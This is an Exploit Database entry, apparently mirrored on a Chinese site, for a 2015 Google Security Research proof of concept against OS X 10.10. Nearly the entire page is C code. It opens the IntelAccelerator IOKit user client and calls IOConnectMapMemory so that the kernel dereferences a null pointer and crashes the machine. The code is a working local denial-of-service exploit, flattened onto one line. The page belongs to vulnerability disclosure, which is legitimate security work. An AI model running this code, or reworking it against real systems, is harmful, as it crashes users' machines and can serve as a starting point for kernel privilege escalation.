Apple Mac OSX 10.10 – IOKit IntelAccelerator Null Pointer Dereference

• Exploit Database
• 111 阅读

• 作者： Google Security Research
  日期： 2015-01-20
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/35849/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47

  #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h>   #include <IOKit/IOKitLib.h>   int main(){ kern_return_t err;   CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator"); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; }   io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; }   io_service_t service = IOIteratorNext(iterator);   if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service);   io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 2, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; }else{ printf("got userclient connection: %x\n", conn); }   mach_vm_address_t addr = 0x414100000000; mach_vm_size_t size = 0x1000;   err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere); return 0; }